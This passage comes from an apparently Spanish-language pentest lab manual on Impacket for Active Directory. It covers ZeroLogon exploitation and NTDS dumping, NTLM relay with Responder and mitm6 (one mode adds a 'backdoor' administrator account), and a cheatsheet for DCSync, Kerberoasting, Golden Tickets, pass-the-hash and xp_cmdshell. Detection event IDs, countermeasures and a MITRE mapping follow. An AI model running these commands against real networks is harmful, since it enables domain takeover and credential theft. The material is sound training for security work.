# git clone https://github.com/dirkjanm/CVE-2020-1472
# python3 cve-2020-1472-exploit.py DC01 192.168.56.10
# FASE 2: Una vez que la cuenta de maquina tiene password vacia,
# volcar NTDS.dit con secretsdump (sin credenciales!):
python3 secretsdump.py -no-pass -just-dc 'CONTOSO/DC01$'@192.168.56.10
# FASE 3: RESTAURACION CRITICA (HACER SIEMPRE):
# Recuperar el hex de la password original de secretsdump:
# [*] $MACHINE.ACC
# CONTOSO\DC01$:plain_password_hex:...<HEX_AQUI>...
# Restaurar con reinstateaccount:
python3 reinstateaccount.py DC01 192.168.56.10 <HEX_PASSWORD_ORIGINAL>
⚠ RESTAURACION OBLIGATORIASi no restauras la contraseña de la cuenta de máquina del DC (DC01$), el Domain Controller quedara desconectado del dominio y todos los servicios de autenticación fallarán. La cuenta de máquina es la credencial que el DC usa para comunicarse con otros DCs y validar tickets Kerberos.
3
Defensa: Parchear y detectar ZeroLogonDEFENSA
# PARCHE: aplicar KB4557222 (agosto 2020) o cualquier actualizacion posterior
# VERIFICAR si esta parchado (en el DC, PowerShell):
Get-HotFix -Id KB4557222
# O ver la version de Windows:
Get-ComputerInfo | Select-Object OSDisplayVersion,OsBuildNumber
# Build 17763.1432 o superior -> parchado
# MONITORIZAR intentos de ZeroLogon:
# Event ID 5805 (Netlogon, System log): 'The session setup to computer X failed'
# Muchos intentos seguidos = posible ataque ZeroLogon
# En Kali, detectar con nmap si el puerto Netlogon esta abierto:
nmap -p 445 --script smb-security-mode 192.168.56.10
# Modo de aplicacion completo del parche (habilita el modo de cumplimiento estricto):
# HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters
# FullSecureChannelProtection = 1 (habilitado en todos los parches post-agosto 2020)
🔁ntlmrelayx.py — NTLM Relay
Relay de autenticaciones NTLM hacia otros servicios de la red
ntlmrelayx.py captura autenticaciones NTLM de una máquina y las relayá (reenvía) hacia otro servicio de la red. Si el host destino acepta esas credenciales, el atacante obtiene acceso a ese servicio. Se combina habitualmente con Responder (para capturar la autenticación inicial) o Mitm6 (para envenenamiento IPv6). Funciona porque NTLM no incluye el nombre del servidor destino en el challenge, lo que permite el relay.
Condición necesaria: el host destino debe tener SMB Signing deshabilitado (ver el lab de NetExec para identificarlo). Si SMB Signing está habilitado, el relay SMB no funciona porque el servidor puede detectar la manipulación.
1
Configurar Responder + ntlmrelayx (combo clasico)SETUP
# PASO 1: Deshabilitar SMB y HTTP en Responder (para no capturar, solo envenenar)
# Editar /etc/responder/Responder.conf:
# SMB = Off
# HTTP = Off
# PASO 2: Iniciar ntlmrelayx con el objetivo (host sin SMB Signing)
# Obtener lista de hosts sin SMB Signing con NetExec:
nxc smb 192.168.56.0/24 --gen-relay-list smb_no_signing.txt
cat smb_no_signing.txt # Lista de IPs objetivo para relay
# PASO 3: Iniciar ntlmrelayx apuntando a los objetivos:
python3 ntlmrelayx.py -tf smb_no_signing.txt -smb2support
# PASO 4: Iniciar Responder en la interfaz de red:
sudo responder -I eth0 -rdw
# Cuando un usuario de la red intente acceder a un recurso inexistente,
# Responder captura la auth NTLM y ntlmrelayx la reenvía al objetivo
2
ntlmrelayx: modos de ataqueMODOS DE ATAQUE
# MODO 1: Volcar SAM automaticamente al hacer relay exitoso:
python3 ntlmrelayx.py -tf smb_no_signing.txt -smb2support
# -> Cuando el relay funciona, vuelca la SAM automaticamente
# MODO 2: Ejecutar un comando en el objetivo:
python3 ntlmrelayx.py -tf smb_no_signing.txt -smb2support \
-c 'net user backdoor Password123! /add && net localgroup administrators backdoor /add'
# MODO 3: Relay hacia LDAP (crear cuentas, modificar ACLs):
python3 ntlmrelayx.py -t ldap://192.168.56.10 \
--delegate-access # Resource-Based Constrained Delegation
# MODO 4: Relay hacia HTTP (webservices, Exchange):
python3 ntlmrelayx.py -t http://192.168.56.10/ews/exchange.asmx
# MODO 5: Modo interactivo (shell SMB):
python3 ntlmrelayx.py -tf smb_no_signing.txt -smb2support -i
# Cuando conecta, te da una shell SMB interactiva
3
Mitm6 + ntlmrelayx (relay via IPv6)MITM6 VARIANT
# mitm6 envenena las respuestas IPv6/DHCPv6 para redirigir trafico
# Funciona incluso con SMB Signing habilitado si el relay va hacia LDAP
# Instalar mitm6:
pip3 install mitm6
# PASO 1: Iniciar mitm6 en la interfaz de red:
mitm6 -d contoso.local -i eth0
# PASO 2: ntlmrelayx hacia LDAP del DC (para crear cuentas o RBCD):
python3 ntlmrelayx.py \
-6 -t ldaps://192.168.56.10 \
--delegate-access \
--no-smb-server \
--add-computer
❓ Ejercicio práctico
Identifica los hosts de tu laboratorio que tienen SMB Signing deshabilitado. Configura el combo Responder + ntlmrelayx para hacer relay de la siguiente autenticación LLMNR hacia uno de esos hosts. ¿Qué obtiene ntlmrelayx?
💡 Pista: nxc smb RANGO --gen-relay-list lista.txt para identificar objetivos de relay.
Ver solución
1. nxc smb 192.168.56.0/24 --gen-relay-list smb_no_signing.txt --- 2. Editar Responder.conf: SMB=Off, HTTP=Off --- 3. python3 ntlmrelayx.py -tf smb_no_signing.txt -smb2support --- 4. sudo responder -I eth0 --- Cuando un usuario de la red haga una consulta LLMNR, Responder envenenara y ntlmrelayx volcara la SAM del host objetivo automaticamente.
📚Cheatsheet Completo de Impacket
Referencia rápida de todos los comandos más utilizados
# ==================== ENUMERACION ====================
# Enumerar usuarios via SAMR (sin credenciales en algunos casos):
python3 samrdump.py CONTOSO.LOCAL/jdoe:Password123@192.168.56.10
# Enumerar SIDs y nombres de usuario:
python3 lookupsid.py CONTOSO.LOCAL/jdoe:Password123@192.168.56.10
# Enumerar usuarios AD via LDAP:
python3 GetADUsers.py -all CONTOSO.LOCAL/jdoe:Password123 -dc-ip 192.168.56.10
# Ver informacion de un usuario especifico:
python3 rpcclient.py -U 'CONTOSO/jdoe%Password123' 192.168.56.10 -c 'queryuser 0x1f4'
# ==================== EJECUCION REMOTA ====================
# Shell SYSTEM via SMB (mas ruidoso):
python3 psexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20
# Shell SYSTEM via servicio SMB (sin subir archivo):
python3 smbexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20
# Shell admin via WMI (sigiloso):
python3 wmiexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20
# Ejecucion via tarea programada:
python3 atexec.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 whoami
# ==================== VOLCADO DE CREDENCIALES ====================
# Volcar SAM + LSA de una maquina:
python3 secretsdump.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20
# DCSync: volcar TODOS los hashes del dominio:
python3 secretsdump.py CONTOSO/Administrator:P@ssw0rd@192.168.56.10
# DCSync solo para krbtgt:
python3 secretsdump.py -just-dc-user krbtgt CONTOSO/Administrator:P@ssw0rd@192.168.56.10
# Offline desde archivos extraidos:
python3 secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL
# ==================== KERBEROS ====================
# Kerberoasting:
python3 GetUserSPNs.py CONTOSO.LOCAL/jdoe:Password123 -dc-ip 192.168.56.10 -request
hashcat -m 13100 hashes.txt rockyou.txt
# AS-REP Roasting (sin credenciales):
python3 GetNPUsers.py CONTOSO.LOCAL/ -usersfile users.txt -dc-ip 192.168.56.10 -format hashcat
hashcat -m 18200 asrep.txt rockyou.txt
# Golden Ticket:
python3 ticketer.py -nthash KRBTGT_HASH -domain-sid DOMAIN_SID -domain CONTOSO.LOCAL Administrator
export KRB5CCNAME=Administrator.ccache
python3 wmiexec.py -k -no-pass CONTOSO/Administrator@dc01.contoso.local
# ==================== PASS-THE-HASH ====================
# PtH en cualquier script de Impacket:
python3 SCRIPT.py -hashes ':NTHASH' DOMINIO/Usuario@IP
# ==================== VERIFICACION VULNERABILIDADES ====================
# Verificar ZeroLogon (SOLO COMPROBACION, no destructivo):
python3 zerologon.py NOMBRE_DC IP_DC
# ==================== SMB CLIENT ====================
# Listar y navegar shares:
python3 smbclient.py CONTOSO/jdoe:Password123@192.168.56.10
# ==================== REGISTRY ====================
# Leer clave del registro remotamente:
python3 reg.py CONTOSO/Administrator:P@ssw0rd@192.168.56.20 query -keyName 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion' -v ProductName
# ==================== MSSQL ====================
# Conectar a SQL Server con auth Windows:
python3 mssqlclient.py -windows-auth CONTOSO/jdoe:Password123@192.168.56.30
# SQL> enable_xp_cmdshell
# SQL> xp_cmdshell whoami
🛡Detección y Defensa contra Impacket
Event IDs clave y contramedidas para cada técnica
🛡DETECCIÓN POR TÉCNICA
| Técnica Impacket | Event IDs clave | Indicador |
|---|
| psexec.py | 7045, 7036, 4688 | PSEXESVC.exe, servicio efimero aleatorio |
| smbexec.py | 7045, 7036 | Servicio cmd.exe efimero |
| wmiexec.py | 4688 | WMI: Win32_Process.Create desde IP remota |
| secretsdump (DCSync) | 4662 | Replicación LDAP desde IP que no es DC |
| Kerberoasting | 4769 | Muchas peticiones TGS con RC4 encryption |
| AS-REP Roasting | 4768 | Peticiones AS-REQ sin pre-auth |
| Golden Ticket | 4768, 4769 | TGT con life-time inusual (>10h), sin Event 4768 previo |
| ntlmrelayx | 4624 Logon Type 3 | Logon de red desde IP inesperada |
| ZeroLogon | 5805 (System) | Muchos fallos de sesion Netlogon en segundos |
🛡CONTRAMEDIDAS PRINCIPALES
# 1. HABILITAR SMB SIGNING (previene relay NTLM):
# GPO: Computer Config -> Policies -> Windows Settings -> Security Settings
# -> Local Policies -> Security Options:
# 'Microsoft network server: Digitally sign communications (always)' = Enabled
# 2. PROTEGER CUENTAS PRIVILEGIADAS:
# Activar 'Protected Users' security group para Domain Admins
# Los miembros no pueden usar NTLM, solo Kerberos
Add-ADGroupMember -Identity 'Protected Users' -Members 'Domain Admins'
# 3. CREDENTIAL GUARD (protege LSASS de volcado):
# GPO: Device Guard -> Turn On Virtualization Based Security
# Requiere UEFI y Secure Boot
# 4. PARCHEAR ZEROLOGON:
# KB4557222 o cualquier actualizacion posterior a agosto 2020
# Verificar: Get-HotFix -Id KB4557222
# 5. MONITORIZAR DCSYNC:
# Alerta en Event ID 4662 con PropertyAccess '1131f6aa...'
# Solo los DCs deben replicar el directorio
# 6. AUDIT KERBEROS (en el DC):
# Habilitar 'Audit Kerberos Service Ticket Operations'
# Alerta si Event 4769 tiene Ticket Encryption Type = 0x17 (RC4)
# Indica Kerberoasting (debe ser 0x12 = AES256 en entornos modernos)
🏆MITRE ATT&CK — Mapping de Impacket
Técnicas cubiertas por los scripts de Impacket
| Táctica | Técnica MITRE | Script Impacket |
|---|
| Lateral Movement | T1021.002 Remote Services: SMB/Windows Admin Shares | psexec, smbexec, smbclient |
| Execution | T1047 Windows Management Instrumentation | wmiexec |
| Execution | T1053.005 Scheduled Task | atexec |
| Credential Access | T1003.002 OS Credential Dumping: SAM | secretsdump (SAM) |
| Credential Access | T1003.003 OS Credential Dumping: NTDS | secretsdump (DCSync) |
| Credential Access | T1558.003 Steal or Forge Kerberos Tickets: Kerberoasting | GetUserSPNs |
| Credential Access | T1558.004 AS-REP Roasting | GetNPUsers |
| Lateral Movement | T1550.002 Use Alternate Auth Material: Pass the Hash | Todos (-hashes) |
| Persistence | T1558.001 Golden Ticket | ticketer |
| Persistence | T1558.002 Silver Ticket | ticketer |
| Credential Access | T1557.001 NTLM Relay | ntlmrelayx |
| Initial Access | T1190 Exploit Public-Facing Application (ZeroLogon) | zerologon check |
| Execution | T1059.001 PowerShell | wmiexec -X, mssqlclient xp_cmdshell |
✓ CONCLUSIÓNHas completado el manual de Impacket. Esta suite Python es el motor que impulsa el pentesting moderno de Active Directory: soporta todos los protocolos Microsoft (SMB, WMI, Kerberos, NTLM, MSSQL, LDAP, RPC), permite Pass-the-Hash en todos los scripts, implementa Kerberoasting, AS-REP Roasting y forja de tickets, y tiene herramientas para cada fase del pentest. Es el conocimiento fundamental que requieren las certificaciones OSCP, PNPT, CRTP y CRTO.